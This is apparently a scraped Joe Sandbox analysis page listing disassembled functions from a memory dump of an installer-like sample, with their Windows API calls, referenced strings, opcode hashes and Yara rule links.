73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041B76A,?,00000000,0041B78C,?,?), ref: 0041B730
73A18830.GDI32(00000000,00000000,00000000,0041B771,?,?,00000000,00000000,0041B76A,?,00000000,0041B78C,?,?), ref: 0041B764

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A18830$A122A26310A570Focus
String ID:
API String ID: 3906783838-0
Opcode ID: 8ecdb598e1a4996df05dfcc0867a12236d6d7e85a0aef6664a328bbccf7dd41e
Instruction ID: 06dd750ffd38faa4806619bbf82afcbb6c92213719a6bc319da55d16d67b79f4
Opcode Fuzzy Hash: 8ecdb598e1a4996df05dfcc0867a12236d6d7e85a0aef6664a328bbccf7dd41e
Instruction Fuzzy Hash: 8E512C70A00609AFDF11DFA9C895AEEBBB8FF49704F104466F510A7390D7789981CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8AC Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B987
73A1A570.USER32(?), ref: 0041B993
73A18830.GDI32(00000000,?,00000000,00000000,0041BA59,?,?), ref: 0041B9CD
73A122A0.GDI32(00000000,00000000,?,00000000,00000000,0041BA59,?,?), ref: 0041B9D9
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BA37,?,00000000,0041BA59,?,?), ref: 0041B9FD
73A18830.GDI32(00000000,00000000,00000000,0041BA3E,?,?,00000000,00000000,0041BA37,?,00000000,0041BA59,?,?), ref: 0041BA31

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A18830$A122A26310A570Focus
String ID:
API String ID: 3906783838-0
Opcode ID: d652c417c9a8b03d43389ce1c345903e188ace57285e6eb171d305152e46db0d
Instruction ID: 49b1e422d63778e1935042bf56866254f806bc58ba08b8974fd4ee1451f7b7cb
Opcode Fuzzy Hash: d652c417c9a8b03d43389ce1c345903e188ace57285e6eb171d305152e46db0d
Instruction Fuzzy Hash: 4F512B74A006089FCB11DFA9C895AAEBBF9FF48700F118066F904EB750D7389D40CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041B478 Relevance: 9.1, APIs: 6, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B4EE
73A1A570.USER32(?,00000000,0041B5C8,?,?,?,?), ref: 0041B4FA
73A24620.GDI32(?,00000068,00000000,0041B59C,?,?,00000000,0041B5C8,?,?,?,?), ref: 0041B516
73A4E680.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B59C,?,?,00000000,0041B5C8,?,?,?,?), ref: 0041B533
73A4E680.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B59C,?,?,00000000,0041B5C8), ref: 0041B54A
73A1A480.USER32(?,?,0041B5A3,?,?), ref: 0041B596

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: E680$A24620A480A570Focus
String ID:
API String ID: 3709697839-0
Opcode ID: 4a4a7d32ada1a740a668c755e1a66010c357d4bec648edb4ace877a09f191135
Instruction ID: a6e4b16520c9e4bc630ca31e265eea6a5194191570467489af8bdb357d288b52
Opcode Fuzzy Hash: 4a4a7d32ada1a740a668c755e1a66010c357d4bec648edb4ace877a09f191135
Instruction Fuzzy Hash: 2D41C571A04254AFDF10DFA9C885AAFBBB5EF49704F1484AAE900E7351D2389D10CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0045B370 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,00000000,0045B43C,?,?,?,?,00000000), ref: 0045B3DB
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045B4A8,?,00000000,0045B43C,?,?,?,?,00000000), ref: 0045B41A

Strings

MACHINE, xrefs: 0045B3BE
CLASSES_ROOT, xrefs: 0045B3A0
CURRENT_USER, xrefs: 0045B3AF
USERS, xrefs: 0045B3CD

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: 396c5408a265f2c87cad4762a3c8b1d35ea086b60968f103d8f30e223deffe3c
Instruction ID: 700096bd68f309f90710c381aa7dde6ba0fdda2f7fc45a32d8085176b984ac24
Opcode Fuzzy Hash: 396c5408a265f2c87cad4762a3c8b1d35ea086b60968f103d8f30e223deffe3c
Instruction Fuzzy Hash: F911BB35204204AFD721DAA5C981B6E779DDB49306F708077BD0166383D77C9F0A95AE

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCFC Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BD45
GetSystemMetrics.USER32(0000000C), ref: 0041BD4F
73A1A570.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD59
73A24620.GDI32(00000000,0000000E,00000000,0041BDCC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD80
73A24620.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041BDCC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD8D
73A1A480.USER32(00000000,00000000,0041BDD3,0000000E,00000000,0041BDCC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BDC6

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A24620MetricsSystem$A480A570
String ID:
API String ID: 4042297458-0
Opcode ID: 1c903c0536bb10720712021bcda66a401c12054db1b22576e6386974878fa910
Instruction ID: 8181195c8b7ace5e518c23098daf85fccaa127339f370ed271397b7e8efdaee2
Opcode Fuzzy Hash: 1c903c0536bb10720712021bcda66a401c12054db1b22576e6386974878fa910
Instruction Fuzzy Hash: 1F212C74E046499FEB04EFA9C941BEEB7B4EB48714F10402AF514B7680D7785940CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00478D58 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EC), ref: 00478D66
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,004687F2), ref: 00478D8C
GetWindowLongA.USER32(?,000000EC), ref: 00478D9C
SetWindowLongA.USER32(?,000000EC,00000000), ref: 00478DBD
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 00478DD1
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 00478DED

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: b84e9f19ff0ee670dcbfc2807fcaec7768f162b85f5824c815ec19dbe8d39123
Instruction ID: 849554ad505ceeff35d37c7ff58508bf2e1726df1cd7e8e141310fbeec4833cd
Opcode Fuzzy Hash: b84e9f19ff0ee670dcbfc2807fcaec7768f162b85f5824c815ec19dbe8d39123
Instruction Fuzzy Hash: 20014CB1681210ABD610D768CD85F663798AB5E331F06436AB558DB3E3CA3DDC009B08

Uniqueness

Uniqueness Score: -1.00%

Function 0041B1E0 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041A650: CreateBrushIndirect.GDI32 ref: 0041A6BB

UnrealizeObject.GDI32(00000000), ref: 0041B1EC
SelectObject.GDI32(?,00000000), ref: 0041B1FE
SetBkColor.GDI32(?,00000000), ref: 0041B221
SetBkMode.GDI32(?,00000002), ref: 0041B22C
SetBkColor.GDI32(?,00000000), ref: 0041B247
SetBkMode.GDI32(?,00000001), ref: 0041B252

Part of subcall function 00419FC8: GetSysColor.USER32(?), ref: 00419FD2

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: af92fd76f0ea33d52ebd072e8e43ea1c00ff5cbe0803c9f3aa53dd55169beb2c
Instruction ID: 2be34f36c4bf399c8fa5e8a938e63ded300dcfd20fe04f8c9e05bbd916d2a40e
Opcode Fuzzy Hash: af92fd76f0ea33d52ebd072e8e43ea1c00ff5cbe0803c9f3aa53dd55169beb2c
Instruction Fuzzy Hash: 84F0BFB1511101ABCE00FFBAD9CAE4B27A89F443097048057B944DF19BC63CDC504B3E

Uniqueness

Uniqueness Score: -1.00%

Function 00471F48 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146windowCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 00471F9E
73A259E0.USER32(00000000,000000FC,00471EFC,00000000,0047212E,?,00000000,00472153), ref: 00471FC5
GetACP.KERNEL32(00000000,0047212E,?,00000000,00472153), ref: 00472002
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00472048

Strings

COMBOBOX, xrefs: 00471F97

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A259ClassInfoMessageSend
String ID: COMBOBOX
API String ID: 3217714596-1136563877
Opcode ID: a3bd4216b25518833be08f838b902464fe38388dc9eea001a84ca35ef0d36fcc
Instruction ID: 8d6e69cdc7b25736ecace23fa1d294beb101704f1944a8432741b73acccf4278
Opcode Fuzzy Hash: a3bd4216b25518833be08f838b902464fe38388dc9eea001a84ca35ef0d36fcc
Instruction Fuzzy Hash: 1D513E34A002459FCB10DF69D985A9DB7F5FB49304F51C0BAE908AB762C778AD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00452240 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,AI,_iu,?,00000000,0045237A), ref: 0045232F
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,AI,_iu,?,00000000,0045237A), ref: 0045233F

Strings

AI, xrefs: 00452270, 0045227B, 004522D6, 004522E0, 004522B0, 004522BA
.tmp, xrefs: 004522E3
_iu, xrefs: 004522D1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$AI$_iu
API String ID: 3498533004-3125386451
Opcode ID: c39a4d1d708061c95ee7f24ecf83207fce97cc026b21afb8cbe7964c222690aa
Instruction ID: 46d0d6ad35c06494b98f164fbe74fb59b710500a089b477c7385efe511c505c8
Opcode Fuzzy Hash: c39a4d1d708061c95ee7f24ecf83207fce97cc026b21afb8cbe7964c222690aa
Instruction Fuzzy Hash: 6F31B370A00219ABCB11EBA5C942B9EB7B5AF45309F20447BFD00B73C2D6785F0587AC

Uniqueness

Uniqueness Score: -1.00%

Function 00491C14 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

ShowWindow.USER32(?,00000005,00000000,00491E79,?,?,00000000), ref: 00491C4A

Part of subcall function 0042D7A0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D7B3

Part of subcall function 00407210: SetCurrentDirectoryA.KERNEL32(00000000,?,00491C72,00000000,00491E45,?,?,00000005,00000000,00491E79,?,?,00000000), ref: 0040721B

Part of subcall function 0042D328: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D3B6,?,?,00000000,?,?,00491C7C,00000000,00491E45,?,?,00000005), ref: 0042D35D

Strings

Uninstall, xrefs: 00491C30
.msg, xrefs: 00491CB0
.dat, xrefs: 00491C91
IMsg, xrefs: 00491D1E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: adcb6d261caac1f1c681534649e4f7bd50fa4d1ea24911b293324070d9d119a1
Instruction ID: 53767b7cbe00aacee5155422e2e832e8fb1e8c52b774a8ea4378669dcc18a7ad
Opcode Fuzzy Hash: adcb6d261caac1f1c681534649e4f7bd50fa4d1ea24911b293324070d9d119a1
Instruction Fuzzy Hash: 6B31C574A006059FCB11EF65CC52D5E7BB5FB85304F60857AF800AB7A1DB78AD00CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004019CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(00494420,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
RtlEnterCriticalSection.KERNEL32(00494420,00494420,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
LocalAlloc.KERNEL32(00000000,00000FF8,00494420,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
RtlLeaveCriticalSection.KERNEL32(00494420,00401A89,00000000,00401A82,?,?,0040222E,021771FC,00001B1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

dIe, xrefs: 00401A0E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: dIe
API String ID: 730355536-2902252405
Opcode ID: b56a4cd114446b0773a66c7a27bb32d6b05b92adddc21732bf39a310c4c109fc
Instruction ID: aa962e87e2017aa174224405feb2f066e475dbd7097569f409cdfcf28ecb4bd2
Opcode Fuzzy Hash: b56a4cd114446b0773a66c7a27bb32d6b05b92adddc21732bf39a310c4c109fc
Instruction Fuzzy Hash: E401AD706442405EEB19AB69E812F253ED4D7D574CF11843BF540A6AF1C67C4843CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00472DB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 00472DB8
GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00472EAF,00494F8C,00000000), ref: 00472DCB
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00472DD1

Strings

AllowSetForegroundWindow, xrefs: 00472DC1
user32.dll, xrefs: 00472DC6

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProcProcessThreadWindow
String ID: AllowSetForegroundWindow$user32.dll
API String ID: 1782028327-3855017861
Opcode ID: c43b6504bda33aa8a25e434dc5dae65070d08f477b8a573627ea55408e2f79eb
Instruction ID: 0d6554dd73869eefd80f1f1d64911f0ce37f8ea1c6ebe10b7f66a80c05d08a0e
Opcode Fuzzy Hash: c43b6504bda33aa8a25e434dc5dae65070d08f477b8a573627ea55408e2f79eb
Instruction Fuzzy Hash: C7D0C7A16057016AD97077F5CE47DDF229CCD84755B14C43F7408F6186DABCE801997D

Uniqueness

Uniqueness Score: -1.00%

Function 00416B9C Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00416BC2
SaveDC.GDI32(?), ref: 00416BF3
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416CB5), ref: 00416C54
RestoreDC.GDI32(?,?), ref: 00416C7B
EndPaint.USER32(00000000,?,00416CBC,00000000,00416CB5), ref: 00416CAF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: c06abe95da4831753d63b9634986ca39a884699dacb8f14d7531f4240f3d7fe3
Instruction ID: 41fb8ea60d97978a9acdf236596d3a8a0d8a1996066437b2b943a95edf1585a8
Opcode Fuzzy Hash: c06abe95da4831753d63b9634986ca39a884699dacb8f14d7531f4240f3d7fe3
Instruction Fuzzy Hash: BF414E70A042049FDB14DB99C989FAA77F9EB48304F1580AEE4459B362D778DD40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00414770 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 004147A6
MulDiv.KERNEL32(?,?,?), ref: 004147C0
MulDiv.KERNEL32(?,?,?), ref: 004147E9
MulDiv.KERNEL32(?,?,?), ref: 00414814
MulDiv.KERNEL32(00000000,?,00000000), ref: 0041485C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d6a748b1b1338860e82f27f8761871ff193d734180217a0f8d82b491afa6e7
Instruction ID: 41a7722d09b35ce9ade17cd18fdec9692d257bae8bd1aa266952c484067d5cda
Opcode Fuzzy Hash: 50d6a748b1b1338860e82f27f8761871ff193d734180217a0f8d82b491afa6e7
Instruction Fuzzy Hash: D3311F746047409FC320EB69C584BABB7E8AF89714F04991EF9E5C7791D738EC818B19

Uniqueness

Uniqueness Score: -1.00%

Function 0042973C Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429778
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 004297A7
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 004297C3
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 004297EE
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 0042980C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fe9210cf49636514123fe8028928f87ce2f158866a525e02be5b173165c2f537
Instruction ID: 5c059f72bad19c8464015bcf3ba3f3fa2ba546ca9f5ab3c2e37583cf1b766786
Opcode Fuzzy Hash: fe9210cf49636514123fe8028928f87ce2f158866a525e02be5b173165c2f537
Instruction Fuzzy Hash: 2E217F70710714BAE710ABA6DC82F5B77ACEB46708F90443EB501BB3D2DB78AD41865C

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB28 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BB3A
GetSystemMetrics.USER32(0000000C), ref: 0041BB44
73A1A570.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BB82
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BCED,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BBC9
DeleteObject.GDI32(00000000), ref: 0041BC0A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MetricsSystem$A26310A570DeleteObject
String ID:
API String ID: 4277397052-0
Opcode ID: cb0e2adf6529593e89f90c831e9305c3e05f521d232314fc64d16b3fc11dbc77
Instruction ID: e64c8cfb77975bfe1c5019289902123c5e37d94f13133d85ba8c481b6df62587
Opcode Fuzzy Hash: cb0e2adf6529593e89f90c831e9305c3e05f521d232314fc64d16b3fc11dbc77
Instruction Fuzzy Hash: 91316F74E00609EFDB00DFA5C941AAEB7F4EB48700F10846AF510AB781D7389E80DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0046EDFC Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0045B370: SetLastError.KERNEL32(00000057,00000000,0045B43C,?,?,?,?,00000000), ref: 0045B3DB

GetLastError.KERNEL32(00000000,00000000,00000000,0046EED0,?,?,00000001,004950AC), ref: 0046EE89
GetLastError.KERNEL32(00000000,00000000,00000000,0046EED0,?,?,00000001,004950AC), ref: 0046EE9F

Strings

Setting permissions on registry key: %s\%s, xrefs: 0046EE4E
Could not set permissions on the registry key because it currently does not exist., xrefs: 0046EE93
Failed to set permissions on registry key (%d)., xrefs: 0046EEB0

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast
String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
API String ID: 1452528299-4018462623
Opcode ID: 55a67c74d7be1f49e0db02a0eeb01d23dee57b17d7fb2968d2e0597982d68bfc
Instruction ID: df05376805d2ea433cd9e8d9b9222adeaa9c52dcffddc60509e69f4445759fc8
Opcode Fuzzy Hash: 55a67c74d7be1f49e0db02a0eeb01d23dee57b17d7fb2968d2e0597982d68bfc
Instruction Fuzzy Hash: 4621F534A046445FCF00DBAAC8816AEBBF5DB49314F50417BF404E7392E7795D058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403CA4 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

